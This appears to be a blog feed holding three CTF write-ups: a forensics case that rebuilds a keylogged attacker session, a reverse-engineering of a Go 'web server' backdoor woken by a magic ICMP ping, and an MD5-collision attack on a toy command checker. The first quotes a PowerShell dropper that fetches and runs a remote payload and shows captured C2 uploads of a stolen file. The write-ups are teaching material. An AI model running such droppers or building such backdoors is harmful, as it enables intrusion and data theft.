<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">IO.File</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::WriteAllBytes(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$pwd</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\sus.zip"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Convert</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::FromBase64String((irm </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'https://0x0.st/PbWE.txt'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)))</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ls</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">unzip</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">unzip </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">P 1m_g0d_</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">!!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> sus.zip </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">d out</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">mv out\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> .</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">module.exe</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">rm </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">exit</span></span></code></pre>
<p>So the attacker pulled <code>PbWE.txt</code> from a paste host, base64-decoded it into <code>sus.zip</code>, unzipped it with the password <strong><code>1m_g0d_!!</code></strong>, ran what came out, and wiped the folder on the way out.</p>
<p>And <code>PbWE.txt</code> is the same file we were handed.</p>
<h2 id="opening-the-dropper">Opening the dropper<a class="anchor" aria-hidden="true" tabindex="-1" href="#opening-the-dropper">#</a></h2>
<p><code>PbWE.txt</code> decodes to a zip (<code>UEsDBBQ…</code> is base64 for <code>PK\x03\x04</code>) holding one encrypted entry, <code>module.exe</code>. The typed password opens it:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> base64</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -d</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> PbWE.txt</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ></span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> PbWE.zip</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> python</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "import zipfile; zipfile.ZipFile('PbWE.zip').extractall('m', pwd=b'1m_g0d_!!')"</span></span></code></pre>
<p>If you'd missed the keylog, there's a backup route. The zip uses legacy <strong>ZipCrypto</strong>, which falls to a known-plaintext attack, and the plaintext is a Windows PE with a predictable <code>MZ</code> header and DOS stub. <a href="https://github.com/kimci86/bkcrack"><code>bkcrack</code></a> can recover the keys without the password.</p>
<h2 id="what-was-taken">What was taken<a class="anchor" aria-hidden="true" tabindex="-1" href="#what-was-taken">#</a></h2>
<p><code>module.exe</code> is a small native uploader built on WININET. Its strings give away the C2 host, <strong><code>for-ultramar.com</code></strong>, and a custom User-Agent, <strong><code>Inquisition</code></strong>.</p>
<p>The second capture, <code>monitor_network</code>, shows it in action:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>GET / HTTP/1.1</span></span>
<span class="line"><span>User-Agent: Inquisition</span></span>
<span class="line"><span>Host: for-ultramar.com:9999</span></span>
<span class="line"><span></span></span>
<span class="line"><span>POST /upload HTTP/1.1</span></span>
<span class="line"><span>User-Agent: Inquisition</span></span>
<span class="line"><span>Content-Length: 15</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Cool_Story.docx</span></span>
<span class="line"><span></span></span>
<span class="line"><span>POST /upload HTTP/1.1</span></span>
<span class="line"><span>Content-Length: 20548</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&#x3C;20 KB of high-entropy data></span></span>
<span class="line"><span></span></span>
<span class="line"><span>HTTP/1.1 200 OK ... You good bro !!</span></span></code></pre>
<p>It announces the filename, <strong><code>Cool_Story.docx</code></strong>, then uploads the document encrypted. The receiving end is a small Flask server (<code>Werkzeug/3.1.5 Python/3.12.3</code>).</p>
<p>That answers the challenge question: the stolen file is <code>Cool_Story.docx</code>, and the flag is its contents:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}</span></span></code></pre>
<h2 id="the-whole-story">The whole story<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-whole-story">#</a></h2>
<ol>
<li>The attacker opens PowerShell and goes to <code>Documents</code>.</li>
<li>They download <code>PbWE.txt</code> from <code>0x0.st</code> and decode it to <code>sus.zip</code>.</li>
<li>They unzip it with <code>1m_g0d_!!</code> and run <code>module.exe</code>.</li>
<li>The "Inquisition" agent grabs <code>Cool_Story.docx</code>, encrypts it, and POSTs it to <code>for-ultramar.com:9999/upload</code>.</li>
<li>They <code>rm *</code> and <code>exit</code>.</li>
</ol>
<p>The cleanup didn't help, because the startup's monitoring agent had recorded every key they pressed.</p>
<p>📂 Full writeup with <code>decode_hid.py</code>, <code>solve.py</code> and the IOCs: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/forensics/crackmes-re-ctf-2026/what_did_you_type">ctf-writeups/forensics/…/what_did_you_type</a></p>]]></content:encoded>
    </item>
    <item>
      <title>The web server that wasn't</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/httpd-magic-ping-backdoor/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/httpd-magic-ping-backdoor/</guid>
      <pubDate>Fri, 27 Nov 2026 00:00:00 GMT</pubDate>
      <description>A Go &quot;httpd&quot; from an infected host serves nothing but a shrug, while a hidden goroutine sniffs for a magic ping that unlocks an AES-encrypted secret.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>malware</category>
      <category>go</category>
      <content:encoded><![CDATA[<blockquote>
<p><em>"This file was found on an infected host. Can you figure out what it does?"</em>
<strong>httpd</strong>, Crackmes.one Reverse Engineering CTF 2026 (author: crudd)</p>
</blockquote>
<p>You get a binary called <code>httpd</code>. You run it, point a browser at it, and it answers every request with:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>Nothing to see here :{</span></span></code></pre>
<p>It's lying, of course. This post walks through how a "web server" turned out to be a <strong>packet-sniffing backdoor</strong> that only wakes up when it receives one very specific ICMP echo request, and how I got the flag <strong>without ever sending that packet</strong>.</p>
<h2 id="first-look-a-go-binary-with-its-guard-down">First look: a Go binary with its guard down<a class="anchor" aria-hidden="true" tabindex="-1" href="#first-look-a-go-binary-with-its-guard-down">#</a></h2>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>httpd: ELF 64-bit LSB executable, x86-64, FreeBSD 14.3, Go BuildID=…, with debug_info, not stripped</span></span></code></pre>
<p>Go 1.17, <strong>not stripped</strong>, with DWARF debug info. For a reverser, that's a gift: function names are intact. Two things stood out immediately:</p>
<ol>
<li>It statically links <code>github.com/google/gopacket</code> and <code>gopacket/pcap</code>. Web servers don't usually need a packet-capture library.</li>
<li>The program's own <code>main.*</code> package is tiny:</li>
</ol>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>main.main      0x747dc0  size 453</span></span>
<span class="line"><span>main.handler   0x747fa0  size 222</span></span></code></pre>
<p>The host I was on didn't have <code>objdump</code> or <code>strings</code>, so I did everything from Python with <code>pyelftools</code> + <code>capstone</code>, which honestly turned out cleaner for a Go binary anyway.</p>
<h2 id="the-decoy">The decoy<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-decoy">#</a></h2>
<p><code>main.handler</code> is exactly what it claims to be, and nothing more:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">cmp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> word</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ptr [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rcx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">], </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x4547</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">      ; 'GE'</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">cmp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> byte</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ptr [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rcx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">], </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x54</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">      ; 'T'</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; GET  -> "Nothing to see here :{"</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; else -> 405 "Method not allowed"</span></span></code></pre>
<p>The interesting line was in <code>main.main</code>: after setting up the HTTP server, it calls <strong><code>runtime.newproc</code></strong>, which is how Go starts a goroutine. Following that closure pointer led to code at <code>0x748080</code>, which is where the actual malware lives.</p>
<h2 id="the-real-payload-a-sniffer">The real payload: a sniffer<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-real-payload-a-sniffer">#</a></h2>
<p>The goroutine opens a live capture and filters for ICMP:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; pcap.OpenLive("re0", 1600, promisc=true, BlockForever)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">call</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> github.com/google/gopacket/pcap.OpenLive</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; handle.SetBPFFilter("icmp")</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">call</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> pcap.(*Handle).SetBPFFilter</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">call</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> gopacket.(*PacketSource).Packets</span></span></code></pre>
<p>Then it loops over every packet and checks raw frame offsets. Ethernet (14) + IP (20) + ICMP lines up like this:</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Offset</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ICMP type</td>
<td align="left"><code>0x22</code></td>
<td align="left"><code>8</code> (echo request)</td>
</tr>
<tr>
<td align="left">IP total length</td>
<td align="left"><code>0x10</code></td>
<td align="left"><code>32</code></td>
</tr>
<tr>
<td align="left">ICMP identifier</td>
<td align="left"><code>0x26</code></td>
<td align="left"><code>0x1337</code></td>
</tr>
<tr>
<td align="left">ICMP payload</td>
<td align="left"><code>0x2a</code></td>
<td align="left"><code>0xe55fdec6</code></td>
</tr>
</tbody>
</table>
<p>So the "knock" is a 32-byte ping with id <code>0x1337</code> and a 4-byte magic payload.</p>
<p>One gotcha worth calling out: those are <strong>little-endian</strong> reads on x86, so on the wire the id is <code>37 13</code> and the payload is <code>c6 de 5f e5</code>. If you craft the packet with scapy, you have to byte-swap.</p>
<h2 id="the-key-comes-from-the-packet-itself">The key comes from the packet itself<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-key-comes-from-the-packet-itself">#</a></h2>
<p>When a packet matches, the malware builds a 16-byte AES key <strong>from the packet's own header bytes</strong>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>key[0:2]   = BE(0xe55f ^ W)        # W = ICMP checksum word</span></span>
<span class="line"><span>key[2:6]   = IP flags/frag, TTL, proto</span></span>
<span class="line"><span>key[6:8]   = W</span></span>
<span class="line"><span>key[8:12]  = magic   (c6 de 5f e5)</span></span>
<span class="line"><span>key[12:14] = id      (37 13)</span></span>
<span class="line"><span>key[14:16] = BE(W ^ 0xdec6)</span></span></code></pre>
<p>That key is used as <strong>both the key and the IV</strong> for AES-128-CBC, decrypting a 32-byte ciphertext that's baked into the code as four <code>movabs</code> immediates. The plaintext gets printed. That's the flag.</p>
<h2 id="why-i-didnt-need-the-packet">Why I didn't need the packet<a class="anchor" aria-hidden="true" tabindex="-1" href="#why-i-didnt-need-the-packet">#</a></h2>
<p>Look at what's actually unknown in that key:</p>
<ul>
<li><code>W</code>, the ICMP checksum: <strong>16 bits</strong></li>
<li>flags/TTL/proto: for any realistic packet, proto is <code>1</code>, flags are <code>0</code> or <code>DF</code>, TTL is one of a handful of defaults</li>
</ul>
<p>Everything else is pinned by the trigger conditions. That's a search space of a few hundred thousand keys, which takes seconds. So I rebuilt the key derivation in Python and brute-forced it offline:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> frag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0000</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4000</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">):</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ttl </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">64</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">128</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">255</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">63</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">127</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">):</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> W </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> range</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">10000</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            k  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> build_key(W, frag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">>></span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 8</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, frag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x26;</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">ff</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, ttl)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            pt </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> AES</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.new(k, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">AES</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">MODE_CBC</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">iv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">k).decrypt(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">CT</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">            if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> pt[:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> b</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"CMO{"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">hex</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(W), pt)</span></span></code></pre>
<p>It hit on the very first realistic shape (DF set, TTL 64):</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>frag=4000 ttl=64 W=279a</span></span>
<span class="line"><span>key/iv = c2c5400040019a27c6de5fe53713f95c</span></span>
<span class="line"><span>FLAG   = CMO{fUn_w1th_m4g1c_p4ck3t5}</span></span></code></pre>
<p>The plaintext ended in <code>\x05\x05\x05\x05\x05</code>, valid PKCS#7 padding, which is a nice confirmation that the AES-CBC reading was right.</p>
<p>As a final sanity check I used scapy to build the actual magic ping and confirmed that <code>seq=1</code> produces exactly checksum <code>0x279a</code>. So that's the packet the "attacker" would have sent.</p>
<p>📂 Full writeup with addresses, constants and the complete solve script: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/crackmes-re-ctf-2026/httpd">ctf-writeups/reverse/…/httpd</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Two strings, one MD5</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/blorg-md5-collision/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/blorg-md5-collision/</guid>
      <pubDate>Fri, 27 Nov 2026 00:00:00 GMT</pubDate>
      <description>A command interpreter that authenticates commands by MD5 hash. Two traps, a little binary arithmetic, and a real HashClash collision that acts as a wildcard command.</description>
      <category>ctf</category>
      <category>crypto</category>
      <category>md5</category>
      <category>collisions</category>
      <content:encoded><![CDATA[<blockquote>
<p><em>"Blorgs! Blorgs everywhere! Can you convince the Blorg Master to hand over his flag?"</em>
<strong>Blorg Multiplier</strong>, BroncoCTF 2026 (crypto)</p>
</blockquote>
<p>The service is a little command interpreter. Every command you type is checked like this:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> md5(user_in) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> valid:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    ...</span></span></code></pre>
<p>The goal is to get the counter <code>blorgs</code> from <strong>1</strong> to exactly <strong>468</strong>, using at most <strong>3 edits</strong>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>increase: blorgs = (blorgs + 1) * 2   (costs an edit)</span></span>
<span class="line"><span>decrease: blorgs = (blorgs - 1) * 2   (costs an edit)</span></span>
<span class="line"><span>none:     blorgs *= 2                 (free)</span></span>
<span class="line"><span>program:  register a new command name (adds md5(name) to valid)</span></span></code></pre>
<p>And the flag only prints in the final <code>else</code> branch, which you reach with a command that is <strong>valid but isn't any of the named commands</strong>. That last condition is the whole challenge.</p>
<h2 id="trap-1-show-is-dead-on-purpose">Trap 1: <code>show</code> is dead on purpose<a class="anchor" aria-hidden="true" tabindex="-1" href="#trap-1-show-is-dead-on-purpose">#</a></h2>
<p>There's a <code>show</code> command in the valid list, but its hash is stored in <strong>UPPERCASE</strong> (<code>A7DD12…</code>). Python's <code>hexdigest()</code> is always lowercase, so it can never match. It's a red herring.</p>
<h2 id="trap-2-program-cant-reach-else-on-its-own">Trap 2: <code>program</code> can't reach <code>else</code> on its own<a class="anchor" aria-hidden="true" tabindex="-1" href="#trap-2-program-cant-reach-else-on-its-own">#</a></h2>
<p><code>program</code> lets you register a name, say <code>A</code>, adding <code>md5(A)</code> to the valid set. But then typing <code>A</code> hits <code>elif user_in == program</code>, not <code>else</code>. Registering a new name removes the old hash, so there's only ever one custom hash, and it's always the one that's handled.</p>
<p>So: no valid, unhandled command exists. Unless…</p>
<h2 id="two-different-strings-have-the-same-md5">…two different strings have the same MD5<a class="anchor" aria-hidden="true" tabindex="-1" href="#two-different-strings-have-the-same-md5">#</a></h2>
<p>If <code>md5(B) == md5(A)</code> but <code>B != A</code>, then:</p>
<ul>
<li><code>md5(B) in valid</code> ✅ passes the check</li>
<li><code>B != program</code> ✅ skips the <code>program</code> branch</li>
<li>falls all the way through to <code>else</code> → 🚩</li>
</ul>
<p>An MD5 collision is effectively a <strong>wildcard command</strong>.</p>
<h2 id="the-blorg-math">The blorg math<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-blorg-math">#</a></h2>
<p>First I needed to reach 468 in ≤ 3 edits without overshooting (the loop dies if <code>blorgs > 468</code>). Working backwards, <code>468 = 2⁹ − 2⁵ − 2³ − 2²</code>, which works out to three <code>decrease</code>s mixed into the doublings:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>none none none none decrease none decrease decrease none</span></span>
<span class="line"><span>1 → 2 → 4 → 8 → 16 → 30 → 60 → 118 → 234 → 468      (edits = 3)</span></span></code></pre>
<h2 id="generating-a-real-collision">Generating a real collision<a class="anchor" aria-hidden="true" tabindex="-1" href="#generating-a-real-collision">#</a></h2>
<p>MD5 identical-prefix collisions are cheap these days thanks to Marc Stevens' <strong>HashClash</strong>. <code>md5_fastcoll</code> spits out two different 128-byte blocks with the same hash in seconds.</p>
<p>The catch: the service reads commands line by line with <code>input()</code>, so the blocks can't contain <code>\n</code>, <code>\r</code> or <code>\0</code>. So I just looped with fresh seeds until I got a clean pair:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">git</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> clone</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> https://github.com/cr-marcstevens/hashclash</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x26;&#x26; </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">cd</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> hashclash</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x26;&#x26; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">./build.sh</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">seq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 200</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">); </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">do</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">  ./bin/md5_fastcoll</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> --seed1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $RANDOM$RANDOM </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">-o</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> m1.bin</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> m2.bin</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ></span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/dev/null</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 2>&#x26;1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">  python3</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> '</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">import sys</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">a, b = open("m1.bin","rb").read(), open("m2.bin","rb").read()</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">sys.exit(0 if a != b and not any(x in (0x0a, 0x0d, 0x00) for x in a + b) else 1)</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> &#x26;&#x26; </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">break</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">done</span></span></code></pre>
